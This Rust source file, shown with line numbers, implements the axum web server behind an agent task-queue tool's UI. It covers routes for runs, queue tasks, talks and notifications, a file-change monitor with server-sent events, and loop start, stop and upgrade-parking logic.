1#[cfg(test)]
95pub(crate) mod request_cost;
96
97use std::collections::{HashMap, HashSet};
98use std::convert::Infallible;
99use std::net::{IpAddr, Ipv4Addr, SocketAddr};
100use std::path::{Path as FsPath, PathBuf};
101use std::pin::Pin;
102use std::sync::{Arc, Mutex, MutexGuard, PoisonError};
103use std::time::Duration;
104use tokio::sync::Notify;
105
106use anyhow::{Context, Result};
107use axum::Json;
108use axum::Router;
109use axum::body::Bytes;
110use axum::extract::rejection::JsonRejection;
111use axum::extract::{DefaultBodyLimit, Path, Query, State};
112use axum::http::{HeaderMap, HeaderValue, StatusCode, header};
113use axum::response::sse::{Event, KeepAlive, Sse};
114use axum::response::{IntoResponse, Response};
115use axum::routing::{get, post, put};
116use jiff::Timestamp;
117use serde::{Deserialize, Serialize};
118use tokio_stream::StreamExt as _;
119use tokio_stream::wrappers::ReceiverStream;
120
121use crate::agent;
122use crate::ask::{self, Answer, Question, Questions};
123use crate::config::{AgentKind, Config, Update, UpdateMode};
124use crate::md;
125use crate::notices::{Notice, Notices};
126use crate::persona;
127use crate::persona_icon;
128use crate::proc::Quiet as _;
129use crate::queue::{Queue, Source, Task, TaskStatus, title_from};
130use crate::run::{RunState, RunStatus};
131use crate::talk::{Talk, Talks};
132use crate::{daemon, git, report, repos, run, settings, stats, talk, updater};
133
134pub const DEFAULT_PORT: u16 = 7878;
136
137const POLL: Duration = Duration::from_secs(1);
139
140const KEEPALIVE: Duration = Duration::from_secs(15);
144
145const UPDATE_RECHECK_POLL_MAX: Duration = Duration::from_secs(15 * 60);
156
157const UPDATE_RECHECK_POLL_MIN: Duration = Duration::from_secs(30);
160
161const LIST_DEFAULT: usize = 50;
165const LIST_MAX: usize = 500;
167
168const TITLE_MAX: usize = 72;
170
171const ATTACHMENT_MAX_BYTES: usize = 10 * 1024 * 1024;
180
181const ATTACHMENT_MIME_WHITELIST: [&str; 4] = ["image/png", "image/jpeg", "image/gif", "image/webp"];
187
188const FILENAME_HEADER: &str = "x-filename";
192
193const PANEL_CSP: &str = "default-src 'none'; img-src 'self' data:; style-src 'unsafe-inline'; \
216 font-src data:; base-uri 'none'; form-action 'none'; \
217 frame-ancestors 'self'";
218
219const INDEX_HTML: &str = include_str!("../assets/ui/index.html");
220const APP_CSS: &str = include_str!("../assets/ui/app.css");
221const APP_JS: &str = include_str!("../assets/ui/app.js");
222
223#[derive(Debug, Clone, Copy, PartialEq, Eq)]
225pub enum Bind {
226 Auto,
228 Addr(IpAddr),
230}
231
232impl std::str::FromStr for Bind {
233 type Err = String;
234
235 fn from_str(s: &str) -> std::result::Result<Self, Self::Err> {
239 if s.eq_ignore_ascii_case("auto") {
240 return Ok(Self::Auto);
241 }
242 s.parse()
243 .map(Self::Addr)
244 .map_err(|_| format!("expected `auto` or an IP address, got `{s}`"))
245 }
246}
247
248impl std::fmt::Display for Bind {
249 fn fmt(&self, f: &mut std::fmt::Formatter<'_>) -> std::fmt::Result {
250 match self {
251 Self::Auto => f.write_str("auto"),
252 Self::Addr(addr) => write!(f, "{addr}"),
253 }
254 }
255}
256
257#[derive(Debug, Clone)]
259pub struct Opts {
260 pub bind: Bind,
262 pub port: u16,
264 pub repo: PathBuf,
266 pub open: bool,
269 pub merge: Option<String>,
277}
278
279impl Default for Opts {
280 fn default() -> Self {
281 Self {
282 bind: Bind::Auto,
283 port: DEFAULT_PORT,
284 repo: PathBuf::from("."),
285 open: false,
286 merge: None,
287 }
288 }
289}
290
291mod id_links;
292
293type Stamps = HashMap<String, (u128, u64)>;
294
295fn store_stamps(root: &FsPath, runs: bool) -> Stamps {
297 try_store_stamps(root, runs).unwrap_or_default()
298}
299
300fn try_store_stamps(root: &FsPath, runs: bool) -> std::io::Result<Stamps> {
301 try_stamps(root, runs, false)
302}
303
304fn try_stamps(root: &FsPath, runs: bool, all_entries: bool) -> std::io::Result<Stamps> {
305 use std::hash::{Hash as _, Hasher as _};
306 let entries = match std::fs::read_dir(root) {
307 Ok(entries) => entries,
308 Err(e) if e.kind() == std::io::ErrorKind::NotFound => return Ok(HashMap::new()),
309 Err(e) => return Err(e),
310 };
311 let mut stamps = HashMap::new();
312 for entry in entries {
313 let entry = entry?;
314 let path = if runs {
315 entry.path().join("run.json")
316 } else {
317 entry.path()
318 };
319 if !runs && !all_entries && path.extension().is_none_or(|ext| ext != "json") {
320 continue;
321 }
322 let identity = match file_identity(&path) {
323 Ok(identity) => identity,
324 Err(e) if runs && e.kind() == std::io::ErrorKind::NotFound => continue,
325 Err(e) => return Err(e),
326 };
327 let modified = identity
328 .modified
329 .duration_since(std::time::UNIX_EPOCH)
330 .unwrap_or_default();
331 let mut hasher = std::hash::DefaultHasher::new();
332 identity.hash(&mut hasher);
333 let id = if runs || all_entries {
334 entry.file_name().to_string_lossy().into_owned()
335 } else {
336 path.file_stem()
337 .unwrap_or_default()
338 .to_string_lossy()
339 .into_owned()
340 };
341 stamps.insert(id, (modified.as_nanos(), hasher.finish()));
342 }
343 Ok(stamps)
344}
345
346#[derive(Debug, Serialize)]
347struct Delta {
348 base: u64,
349 changed: Vec<String>,
350 removed: Vec<String>,
351}
352
353fn diff_stamps(previous: &Stamps, next: &Stamps, base: u64) -> Delta {
354 let mut changed: Vec<_> = next
355 .iter()
356 .filter(|(id, stamp)| previous.get(*id) != Some(*stamp))
357 .map(|(id, _)| id.clone())
358 .collect();
359 let mut removed: Vec<_> = previous
360 .keys()
361 .filter(|id| !next.contains_key(*id))
362 .cloned()
363 .collect();
364 changed.sort_unstable();
365 removed.sort_unstable();
366 Delta {
367 base,
368 changed,
369 removed,
370 }
371}
372
373#[cfg(test)]
375fn runs_revision(runs: &FsPath) -> u64 {
376 stamps_revision(&store_stamps(runs, true))
377}
378
379fn stamps_revision(stamps: &Stamps) -> u64 {
383 use std::hash::{Hash as _, Hasher as _};
384 if stamps.is_empty() {
385 return 0;
386 }
387 let mut entries: Vec<_> = stamps.iter().collect();
388 entries.sort_unstable();
389 let mut hasher = std::hash::DefaultHasher::new();
390 entries.hash(&mut hasher);
391 hasher.finish().max(1)
392}
393
394#[derive(Clone, Debug)]
395pub(crate) struct ChangeNotification {
396 pub payload: serde_json::Value,
397}
398
399#[derive(Default, Debug)]
400pub(crate) struct QueueIndex {
401 records: HashMap<String, (FileIdentity, Arc<TaskRelation>)>,
403 #[cfg(test)]
404 reparsed: usize,
405}
406
407#[derive(Clone, Debug)]
408struct TaskRelation {
409 id: String,
410 status: Option<crate::queue::TaskStatus>,
411 priority: i32,
412 runs: Vec<String>,
413 source: Source,
414}
415
416impl From<Task> for TaskRelation {
417 fn from(task: Task) -> Self {
418 Self {
419 id: task.id,
420 status: Some(task.status),
421 priority: task.priority,
422 runs: task.runs,
423 source: task.source,
424 }
425 }
426}
427
428#[derive(Debug, PartialEq, Eq, Hash)]
429struct FileIdentity {
430 modified: std::time::SystemTime,
431 len: u64,
432 #[cfg(unix)]
433 identity: (u64, u64, i64, i64),
434}
435
436fn file_identity(path: &FsPath) -> std::io::Result<FileIdentity> {
437 let meta = path.metadata()?;
438 Ok(FileIdentity {
439 modified: meta.modified()?,
440 len: meta.len(),
441 #[cfg(unix)]
442 identity: {
443 use std::os::unix::fs::MetadataExt as _;
444 (meta.dev(), meta.ino(), meta.ctime(), meta.ctime_nsec())
445 },
446 })
447}
448
449type Revisions = (u64, u64, u64, u64, u64, u64);
450type MonitorSnapshot = Option<(Revisions, [Stamps; 3])>;
451
452#[derive(Debug)]
453pub(crate) struct SharedMonitor {
454 pub broadcaster: tokio::sync::broadcast::Sender<ChangeNotification>,
455 pub latest: Arc<Mutex<MonitorSnapshot>>,
456 pub worker_started: std::sync::atomic::AtomicBool,
457 pub queue_index: Arc<Mutex<QueueIndex>>,
458 list_walks: Mutex<Vec<ListWalk>>,
459}
460
461fn monitor_scan(ui: &Ui, previous: MonitorSnapshot) -> (Revisions, [Stamps; 3]) {
463 let (mut rev, mut stamps) = previous.unwrap_or_default();
464 for (index, root, runs) in [
465 (0, ui.queue.root(), false),
466 (1, ui.runs.as_path(), true),
467 (2, ui.talks.root(), false),
468 ] {
469 if let Ok(next) = try_store_stamps(root, runs) {
470 let value = stamps_revision(&next);
471 match index {
472 0 => rev.0 = value,
473 1 => rev.1 = value,
474 _ => rev.3 = value,
475 }
476 stamps[index] = next;
477 }
478 }
479 if let Ok(next) = try_stamps(ui.questions.root(), false, true) {
480 rev.2 = stamps_revision(&next);
481 }
482 if let Ok(next) = try_stamps(ui.notices.root(), false, true) {
483 rev.4 = stamps_revision(&next);
484 }
485 rev.5 = ui.lock_loop().rev;
486 (rev, stamps)
487}
488
489impl SharedMonitor {
490 pub fn new() -> Self {
491 let (tx, _) = tokio::sync::broadcast::channel(64);
492 Self {
493 broadcaster: tx,
494 latest: Arc::default(),
495 worker_started: std::sync::atomic::AtomicBool::new(false),
496 queue_index: Arc::default(),
497 list_walks: Mutex::default(),
498 }
499 }
500
501 async fn revisions(&self, ui: &Arc<Ui>) -> ApiResult<Revisions> {
502 let mut receiver = self.broadcaster.subscribe();
503 self.ensure_worker(ui);
504 loop {
505 if let Some((revisions, _)) = self
506 .latest
507 .lock()
508 .unwrap_or_else(PoisonError::into_inner)
509 .as_ref()
510 {
511 return Ok(*revisions);
512 }
513 tokio::time::timeout(Duration::from_secs(5), receiver.recv())
514 .await
515 .map_err(|_| ApiError::internal("Store monitoring is unavailable; retry"))?
516 .map_err(|_| ApiError::internal("Store monitoring restarted; retry"))?;
517 }
518 }
519
520 pub fn ensure_worker(&self, ui: &Arc<Ui>) {
521 if self
522 .worker_started
523 .compare_exchange(
524 false,
525 true,
526 std::sync::atomic::Ordering::SeqCst,
527 std::sync::atomic::Ordering::SeqCst,
528 )
529 .is_err()
530 {
531 return;
532 }
533
534 let weak_ui = Arc::downgrade(ui);
535 tokio::spawn(async move {
536 let mut ticker = tokio::time::interval(POLL);
537 loop {
538 ticker.tick().await;
539 let Some(ui) = weak_ui.upgrade() else {
540 break;
541 };
542
543 let previous = ui
544 .monitor
545 .latest
546 .lock()
547 .unwrap_or_else(PoisonError::into_inner)
548 .clone();
549 let state = Arc::clone(&ui);
550 let scan =
551 tokio::task::spawn_blocking(move || monitor_scan(&state, previous)).await;
552
553 ticker.reset();
555 let Ok((revisions, next_stamps)) = scan else {
556 continue;
557 };
558
559 let mut latest_guard = match ui.monitor.latest.lock() {
560 Ok(g) => g,
561 Err(p) => p.into_inner(),
562 };
563
564 let previous = latest_guard.take();
565 let (last_rev, prev_stamps) = match previous {
566 Some((r, s)) => (Some(r), Some(s)),
567 None => (None, None),
568 };
569
570 if last_rev == Some(revisions) {
571 *latest_guard = Some((revisions, prev_stamps.unwrap_or(next_stamps)));
572 continue;
573 }
574
575 let mut payload = serde_json::json!({
576 "queue_rev": revisions.0,
577 "runs_rev": revisions.1,
578 "questions_rev": revisions.2,
579 "talks_rev": revisions.3,
580 "notifications_rev": revisions.4,
581 "loop_rev": revisions.5,
582 });
583
584 if let (Some(base), Some(prev)) = (last_rev, prev_stamps.as_ref()) {
585 for (index, (key, rev)) in [
586 ("queue_delta", base.0),
587 ("runs_delta", base.1),
588 ("talks_delta", base.3),
589 ]
590 .into_iter()
591 .enumerate()
592 {
593 let delta = diff_stamps(&prev[index], &next_stamps[index], rev);
594 if delta.changed.len() + delta.removed.len() > 0
595 && delta.changed.len() <= 50
596 {
597 payload[key] = serde_json::to_value(delta).expect("serializable delta");
598 }
599 }
600 }
601
602 *latest_guard = Some((revisions, next_stamps));
603 drop(latest_guard);
604
605 let _ = ui.monitor.broadcaster.send(ChangeNotification { payload });
606 }
607 });
608 }
609}
610
611#[derive(Debug, Clone)]
617pub struct Ui {
618 queue: Queue,
619 questions: Questions,
620 notices: Notices,
623 talks: Talks,
624 runs: PathBuf,
625 references: Arc<id_links::IndexCache>,
626 home: PathBuf,
627 repo: PathBuf,
628 worktrees_root: PathBuf,
635 talk_turns: Arc<Mutex<TalkTurns>>,
643 upgrade_gate: Arc<tokio::sync::Mutex<()>>,
647 upgrade_spawned: Arc<std::sync::atomic::AtomicBool>,
650 upgrade_request_error: Arc<Mutex<Option<UpgradeRequestFailure>>>,
652 resuming: Arc<Mutex<HashSet<String>>>,
660 repos_cache: repos::Cache,
664 machine_config: Option<PathBuf>,
668 merge: Option<String>,
670 looping: Arc<Mutex<LoopState>>,
672 launch: Launch,
684 #[cfg(test)]
687 busy_queue_gate: Arc<Mutex<Option<BusyQueueGate>>>,
688 pub(crate) monitor: Arc<SharedMonitor>,
689}
690
691#[cfg(test)]
711struct BusyQueueGate {
712 reached: tokio::sync::oneshot::Sender<()>,
713 release: std::sync::mpsc::Receiver<()>,
714}
715
716#[cfg(test)]
717impl std::fmt::Debug for BusyQueueGate {
718 fn fmt(&self, f: &mut std::fmt::Formatter<'_>) -> std::fmt::Result {
719 f.debug_struct("BusyQueueGate").finish_non_exhaustive()
720 }
721}
722
723impl Ui {
724 pub fn new(
726 queue: Queue,
727 questions: Questions,
728 talks: Talks,
729 runs: PathBuf,
730 home: PathBuf,
731 repo: PathBuf,
732 ) -> Self {
733 Self {
734 queue,
735 questions,
736 notices: Notices::at(home.join("notifications")),
737 talks,
738 runs,
739 references: Arc::default(),
740 home,
741 repo,
742 worktrees_root: run::default_worktree_root(),
746 talk_turns: Arc::default(),
747 upgrade_gate: Arc::default(),
748 upgrade_spawned: Arc::default(),
749 upgrade_request_error: Arc::default(),
750 resuming: Arc::default(),
751 repos_cache: repos::Cache::new(),
752 machine_config: Config::machine_layer(),
753 merge: None,
754 looping: Arc::default(),
755 launch: launch_daemon,
756 #[cfg(test)]
757 busy_queue_gate: Arc::default(),
758 monitor: Arc::new(SharedMonitor::new()),
759 }
760 }
761
762 fn indexed_tasks(&self) -> ApiResult<Vec<Arc<TaskRelation>>> {
765 let mut index = self
766 .monitor
767 .queue_index
768 .lock()
769 .unwrap_or_else(PoisonError::into_inner);
770 let entries = match std::fs::read_dir(self.queue.root()) {
771 Ok(entries) => entries,
772 Err(e) if e.kind() == std::io::ErrorKind::NotFound => {
773 index.records.clear();
774 return Ok(Vec::new());
775 }
776 Err(e) => return Err(anyhow::Error::from(e).into()),
777 };
778 let mut seen = HashSet::new();
779 for entry in entries {
780 let path = entry.map_err(anyhow::Error::from)?.path();
781 if path.extension().is_none_or(|ext| ext != "json") {
782 continue;
783 }
784 let Some(id) = path.file_stem().and_then(|s| s.to_str()) else {
785 continue;
786 };
787 let stamp = file_identity(&path).map_err(anyhow::Error::from)?;
788 seen.insert(id.to_owned());
789 if !cfg!(unix) || index.records.get(id).is_none_or(|(old, _)| *old != stamp) {
792 let Ok(task) = self.queue.get(id) else {
793 if let Some((_, record)) = index.records.get_mut(id) {
799 Arc::make_mut(record).status = None;
800 }
801 continue;
802 };
803 #[cfg(test)]
804 {
805 index.reparsed += 1;
806 }
807 if file_identity(&path).map_err(anyhow::Error::from)? != stamp {
808 return Err(ApiError::conflict("Queue changed during read; retry"));
809 }
810 index
811 .records
812 .insert(id.to_owned(), (stamp, Arc::new(TaskRelation::from(task))));
813 }
814 }
815 index.records.retain(|id, _| seen.contains(id));
816 let mut tasks: Vec<_> = index
817 .records
818 .values()
819 .map(|(_, task)| task.clone())
820 .collect();
821 tasks.sort_unstable_by(|a, b| b.priority.cmp(&a.priority).then_with(|| b.id.cmp(&a.id)));
822 Ok(tasks)
823 }
824
825 fn find_task_for_run(&self, run_id: &str) -> ApiResult<Option<Task>> {
826 let Some(record) = self
827 .indexed_tasks()?
828 .into_iter()
829 .find(|task| task.runs.iter().any(|id| id == run_id))
830 else {
831 return Ok(None);
832 };
833 let task = self.queue.get(&record.id)?;
834 if !task.runs.iter().any(|id| id == run_id) {
835 return Err(ApiError::conflict("Task relationship changed; retry"));
836 }
837 Ok(Some(task))
838 }
839
840 fn find_tasks_for_talk(&self, talk_id: &str) -> ApiResult<Vec<Task>> {
841 self.indexed_tasks()?
842 .into_iter()
843 .filter(|task| matches!(&task.source, Source::Agent { run, .. } if run == talk_id))
844 .map(|record| {
845 let task = self.queue.get(&record.id)?;
846 if !matches!(&task.source, Source::Agent { run, .. } if run == talk_id) {
847 return Err(ApiError::conflict("Task relationship changed; retry"));
848 }
849 Ok(task)
850 })
851 .collect()
852 }
853
854 pub fn open(repo: PathBuf) -> Self {
857 Self::new(
858 Queue::open(),
859 Questions::open(),
860 Talks::open(),
861 run::runs_root(),
862 run::home(),
863 repo,
864 )
865 }
866
867 #[must_use]
874 pub fn with_merge(mut self, merge: Option<String>) -> Self {
875 self.merge = merge;
876 self
877 }
878
879 #[cfg(test)]
882 #[must_use]
883 fn with_machine_config(mut self, path: Option<PathBuf>) -> Self {
884 self.machine_config = path;
885 self
886 }
887
888 #[must_use]
893 pub fn with_worktrees_root(mut self, root: PathBuf) -> Self {
894 self.worktrees_root = root;
895 self
896 }
897
898 #[cfg(test)]
903 #[must_use]
904 fn with_launch(mut self, launch: Launch) -> Self {
905 self.launch = launch;
906 self
907 }
908
909 #[cfg(test)]
919 fn set_busy_queue_gate(&self, gate: BusyQueueGate) {
920 *self
921 .busy_queue_gate
922 .lock()
923 .unwrap_or_else(PoisonError::into_inner) = Some(gate);
924 }
925
926 fn looping(&self) -> Arc<Mutex<LoopState>> {
928 Arc::clone(&self.looping)
929 }
930
931 fn start_loop(&self, foreign: Option<Foreign>) -> ApiResult<()> {
938 if let Some(other) = foreign {
939 return Err(ApiError::conflict(format!(
940 "{} is already running the loop, so this one will not start a \
941 second: two loops on one queue race for the same claims and \
942 burn the agent quota twice over. Stop it where it was \
943 started.",
944 other.who()
945 )));
946 }
947 let mut state = self.lock_loop();
948 if state.live.as_ref().is_some_and(Live::alive) {
949 return Err(ApiError::conflict(format!(
950 "this magi web process (pid {}) is already running the loop",
951 std::process::id()
952 )));
953 }
954
955 let stop = daemon::Stop::new();
956 let opts = daemon::Opts {
960 repo: self.repo.clone(),
961 merge: self.merge.clone(),
962 worktrees_root: Some(self.worktrees_root.clone()),
969 ..daemon::Opts::default()
970 };
971 let launch = self.launch;
972 let looping = Arc::clone(&self.looping);
973 let handle = tokio::spawn({
974 let opts = opts.clone();
975 let stop = stop.clone();
976 async move {
977 let failure = match launch(opts, stop).await {
978 Ok(()) => None,
979 Err(e) => Some(format!("{e:#}")),
980 };
981 match &failure {
982 Some(why) => tracing::error!("the loop stopped: {why}"),
983 None => tracing::info!("the loop stopped"),
984 }
985 let mut state = lock_or_recover(&looping);
991 state.live = None;
992 state.last_error = failure;
993 state.rev += 1;
994 }
995 });
996 tracing::info!(
997 "the loop is now running in this process: repo {}, merge {}",
998 opts.repo.display(),
999 opts.merge.as_deref().unwrap_or("as the config says")
1000 );
1001 state.live = Some(Live { stop, handle, opts });
1002 state.last_error = None;
1005 state.rev += 1;
1006 Ok(())
1007 }
1008
1009 fn stop_loop(&self, foreign: Option<Foreign>, park: bool) -> ApiResult<()> {
1015 if let Some(other) = foreign {
1016 return Err(ApiError::conflict(format!(
1017 "the loop belongs to {}, and this process cannot stop it - \
1018 stop it where it was started. A button that silently did \
1019 nothing would be worse than this refusal.",
1020 other.who()
1021 )));
1022 }
1023 let mut state = self.lock_loop();
1024 if !park {
1027 state.resume_after_handover = false;
1028 }
1029 let Some(live) = state.live.as_ref() else {
1030 return Ok(());
1031 };
1032 if live.stop.stopped() && (!park || live.stop.parking()) {
1036 return Ok(());
1037 }
1038 if park {
1039 live.stop.park(crate::run::ParkCause::Operator);
1040 tracing::info!("the loop was asked to park; the run stops at its next node boundary");
1041 } else {
1042 live.stop.stop();
1043 tracing::info!("the loop was asked to stop; a run in flight is finished first");
1044 }
1045 state.rev += 1;
1046 Ok(())
1047 }
1048
1049 fn loop_view(&self, reading: Option<daemon::Reading>) -> LoopView {
1056 let state = self.lock_loop();
1057 let live = state.live.as_ref().filter(|live| live.alive());
1060 LoopView {
1061 running: live.is_some(),
1062 stopping: live.is_some_and(|live| live.stop.finishing()),
1063 parking: live.is_some_and(|live| live.stop.parking()),
1064 owned: live.is_some(),
1065 repo: live
1066 .map_or(&self.repo, |live| &live.opts.repo)
1067 .display()
1068 .to_string(),
1069 merge: live.map_or_else(|| self.merge.clone(), |live| live.opts.merge.clone()),
1070 last_error: state.last_error.clone(),
1071 daemon: DaemonView::of(reading),
1072 }
1073 }
1074
1075 fn resume_after_handover(&self, resume: bool) -> bool {
1081 if !resume {
1082 return false;
1083 }
1084 let foreign = Foreign::of(daemon::read_status(&self.home).as_ref());
1085 match self.start_loop(foreign) {
1086 Ok(()) => true,
1087 Err(e) => {
1088 let why = format!(
1089 "the loop could not be resumed after the upgrade: {}",
1090 e.message
1091 );
1092 tracing::warn!("{why}");
1093 let mut state = self.lock_loop();
1094 state.last_error = Some(why);
1095 state.rev += 1;
1096 false
1097 }
1098 }
1099 }
1100
1101 fn lock_loop(&self) -> MutexGuard<'_, LoopState> {
1103 lock_or_recover(&self.looping)
1104 }
1105
1106 fn is_thinking(&self, id: &str) -> bool {
1112 self.talk_turns
1113 .lock()
1114 .is_ok_and(|turns| turns.live.contains(id))
1115 || self.talks.turn_held(id)
1118 }
1119
1120 fn begin_talk_turn(&self, id: &str) -> ApiResult<Option<TalkTurnGuard>> {
1139 self.claim_talk_turn(id, false)
1140 }
1141
1142 fn begin_queued_talk_turn(&self, id: &str) -> ApiResult<Option<TalkTurnGuard>> {
1145 self.claim_talk_turn(id, true)
1146 }
1147
1148 fn claim_talk_turn(&self, id: &str, queued: bool) -> ApiResult<Option<TalkTurnGuard>> {
1149 let mut live = self
1150 .talk_turns
1151 .lock()
1152 .map_err(|_| ApiError::internal("the talk turn lock was poisoned"))?;
1153 if live.parking {
1154 if queued {
1155 *live.queued.entry(id.to_owned()).or_default() += 1;
1158 return Ok(None);
1159 }
1160 return Err(ApiError::conflict(UPGRADE_IN_PROGRESS));
1161 }
1162 let inserted = live.live.insert(id.to_owned());
1163 let lease = if inserted {
1167 match self.talks.claim_turn(id) {
1168 Ok(Some(lease)) => Some(lease),
1169 Ok(None) => {
1170 live.live.remove(id);
1171 None
1172 }
1173 Err(e) => {
1174 live.live.remove(id);
1175 return Err(ApiError::from(e));
1176 }
1177 }
1178 } else {
1179 None
1180 };
1181 if lease.is_none() {
1182 if queued {
1183 *live.queued.entry(id.to_owned()).or_default() += 1;
1188 }
1189 return Ok(None);
1190 }
1191 Ok(Some(TalkTurnGuard {
1192 talk: id.to_owned(),
1193 turns: Arc::clone(&self.talk_turns),
1194 released: false,
1195 lease,
1196 }))
1197 }
1198
1199 fn begin_talk_turn_unless_pending(&self, id: &str) -> ApiResult<TalkTurnStart> {
1204 let mut live = self
1205 .talk_turns
1206 .lock()
1207 .map_err(|_| ApiError::internal("the talk turn lock was poisoned"))?;
1208 if live.parking || live.live.contains(id) {
1210 return Ok(TalkTurnStart::Busy);
1211 }
1212 let Some(lease) = self.talks.claim_turn(id).map_err(ApiError::from)? else {
1213 return Ok(TalkTurnStart::Foreign);
1214 };
1215 let talk = self.talks.get(id).map_err(ApiError::from)?;
1217 if !talk.pending.is_empty() || !talk.pending_attachments.is_empty() {
1218 return Ok(TalkTurnStart::Pending);
1219 }
1220 live.live.insert(id.to_owned());
1221 Ok(TalkTurnStart::Claimed(TalkTurnGuard {
1222 talk: id.to_owned(),
1223 turns: Arc::clone(&self.talk_turns),
1224 released: false,
1225 lease: Some(lease),
1226 }))
1227 }
1228
1229 fn queued_generation(&self, id: &str) -> u64 {
1230 let live = self
1231 .talk_turns
1232 .lock()
1233 .unwrap_or_else(PoisonError::into_inner);
1234 live.queued.get(id).copied().unwrap_or(0)
1235 }
1236
1237 fn turns(&self) -> Arc<Mutex<TalkTurns>> {
1239 Arc::clone(&self.talk_turns)
1240 }
1241
1242 fn park_for_upgrade(&self, from: &str, to: Option<&str>) -> ApiResult<Option<String>> {
1249 let parking = {
1250 let mut state = self.lock_loop();
1251 let resume = state.resume_after_handover
1261 || state
1262 .live
1263 .as_ref()
1264 .is_some_and(|live| live.alive() && !live.stop.stopped());
1265 state.resume_after_handover = resume;
1266 let Some(live) = state.live.as_ref() else {
1267 return Ok(None);
1268 };
1269 let busy = live.stop.busy_now();
1270 live.stop.park(crate::run::ParkCause::Upgrade {
1271 from: from.to_owned(),
1272 to: to.map(|t| t.trim_start_matches('v').to_owned()),
1273 });
1274 state.rev += 1;
1275 busy
1276 };
1277 Ok(if parking {
1278 daemon::current_work(&self.home, jiff::Timestamp::now())
1283 .into_iter()
1284 .next()
1285 .map(|c| c.run)
1286 } else {
1287 None
1288 })
1289 }
1290
1291 fn begin_resume(&self, id: &str) -> ApiResult<ResumeGuard> {
1295 let mut live = self
1296 .resuming
1297 .lock()
1298 .map_err(|_| ApiError::internal("the resume lock was poisoned"))?;
1299 if !live.insert(id.to_owned()) {
1300 return Err(ApiError::conflict(format!(
1301 "run {id} is already being resumed"
1302 )));
1303 }
1304 Ok(ResumeGuard {
1305 run: id.to_owned(),
1306 resuming: Arc::clone(&self.resuming),
1307 })
1308 }
1309
1310 pub fn router(self) -> Router {
1318 Router::new()
1319 .route("/", get(index))
1320 .route("/app.css", get(app_css))
1321 .route("/app.js", get(app_js))
1322 .route("/api/health", get(health))
1323 .route("/api/references", post(id_links::resolve_text))
1324 .route("/api/loop", get(loop_get).post(loop_post))
1325 .route("/api/upgrade", post(upgrade_post))
1326 .route("/api/runs", get(runs_list))
1327 .route("/api/runs/{id}", get(run_detail).delete(run_delete))
1328 .route("/api/runs/{id}/core", get(run_core))
1329 .route("/api/runs/{id}/report", get(run_report))
1330 .route("/api/runs/{id}/report.json", get(run_report_json))
1331 .route("/api/runs/{id}/graft.diff", get(run_graft_diff))
1332 .route("/api/runs/{id}/fold", post(run_fold))
1333 .route("/api/runs/{id}/fold-merged", post(run_fold_merged))
1334 .route("/api/runs/{id}/resume", post(run_resume))
1335 .route("/api/queue", get(queue_list))
1336 .route("/api/queue/page", get(queue_page))
1337 .route("/api/search", get(search_get))
1338 .route("/api/queue/{id}", get(task_detail).delete(queue_delete))
1339 .route("/api/queue/{id}/core", get(task_core))
1340 .route("/api/stats", get(stats_get))
1341 .route("/api/stats/queue", get(stats_queue))
1342 .route("/api/repos", get(repos_list))
1343 .route("/api/settings", get(settings_get))
1344 .route("/api/settings/roles", put(settings_put_roles))
1345 .route("/api/queue/{id}/hold", post(queue_hold))
1346 .route("/api/queue/{id}/release", post(queue_release))
1347 .route("/api/queue/{id}/priority", post(queue_priority))
1348 .route("/api/queue/{id}/urgent", post(queue_urgent))
1349 .route("/api/queue/{id}/implementers", post(queue_implementers))
1350 .route("/api/queue/{id}/attempt-limit", post(queue_attempt_limit))
1351 .route("/api/queue/{id}/edit", post(queue_edit))
1352 .route("/api/queue/{id}/done", post(queue_done))
1353 .route("/api/questions", get(questions_list))
1354 .route("/api/questions/core", get(questions_core))
1355 .route("/api/questions/origins", get(question_origins))
1356 .route("/api/questions/{id}/answer", post(question_answer))
1357 .route("/api/questions/{id}/say", post(question_say))
1358 .route("/api/questions/{id}/consult", post(question_consult))
1359 .route("/api/questions/{id}/panel", get(question_panel))
1360 .route("/api/questions/{id}/panel/index.html", get(question_panel))
1368 .route("/api/questions/{id}/panel/{name}", get(question_asset))
1369 .route("/api/questions/{id}/asset/{name}", get(question_asset))
1370 .route("/api/notifications", get(notifications_list))
1371 .route("/api/notifications/read-all", post(notifications_read_all))
1372 .route("/api/notifications/{id}/read", post(notification_read))
1373 .route(
1374 "/api/notifications/{id}/dismiss",
1375 post(notification_dismiss),
1376 )
1377 .route("/api/talks", get(talks_list).post(talk_post))
1378 .route("/api/talks/page", get(talks_page))
1379 .route("/api/talks/{id}", get(talk_detail).delete(talk_delete))
1380 .route("/api/talks/{id}/core", get(talk_core))
1381 .route("/api/talks/{id}/sections", get(talk_sections))
1382 .route("/api/talks/{id}/say", post(talk_say))
1383 .route("/api/talks/{id}/pending/resume", post(talk_pending_resume))
1384 .route("/api/talks/{id}/pending/clear", post(talk_pending_clear))
1385 .route("/api/talks/{id}/pending/edit", post(talk_pending_edit))
1386 .route("/api/talks/{id}/agent", post(talk_agent))
1387 .route("/api/talks/{id}/persona", post(talk_persona))
1388 .route("/api/talks/{id}/implementers", post(talk_implementers))
1389 .route("/api/talks/{id}/close", post(talk_close))
1390 .route("/api/talks/{id}/reopen", post(talk_reopen))
1391 .route(
1397 "/api/talks/{id}/attachments",
1398 post(talk_attachment_post).layer(DefaultBodyLimit::max(ATTACHMENT_MAX_BYTES + 1)),
1399 )
1400 .route(
1401 "/api/talks/{id}/attachments/{att}",
1402 get(talk_attachment_get),
1403 )
1404 .route("/api/talks/{id}/avatar", get(talk_avatar))
1405 .route("/avatars/operator.svg", get(operator_avatar))
1406 .route(
1407 "/api/avatar-settings",
1408 get(avatar_settings_get)
1409 .put(avatar_settings_put)
1410 .delete(avatar_settings_delete),
1411 )
1412 .route("/avatars/persona", get(settings_persona_avatar))
1413 .route("/avatars/magi", get(magi_avatar))
1414 .route(
1415 "/api/magi-icon",
1416 get(magi_icon_get)
1417 .put(magi_icon_put)
1418 .delete(magi_icon_delete),
1419 )
1420 .route("/api/events", get(events))
1421 .with_state(Arc::new(self))
1422 }
1423}
1424
1425const UPGRADE_IN_PROGRESS: &str = "upgrade in progress, try again in a moment";
1428
1429#[derive(Debug)]
1435struct TalkTurnGuard {
1436 talk: String,
1437 turns: Arc<Mutex<TalkTurns>>,
1438 released: bool,
1439 lease: Option<crate::talk::TurnLease>,
1441}
1442
1443#[derive(Debug, Default)]
1450struct TalkTurns {
1451 live: HashSet<String>,
1452 queued: HashMap<String, u64>,
1453 parking: bool,
1457}
1458
1459enum TalkTurnStart {
1462 Claimed(TalkTurnGuard),
1463 Busy,
1464 Foreign,
1467 Pending,
1468}
1469
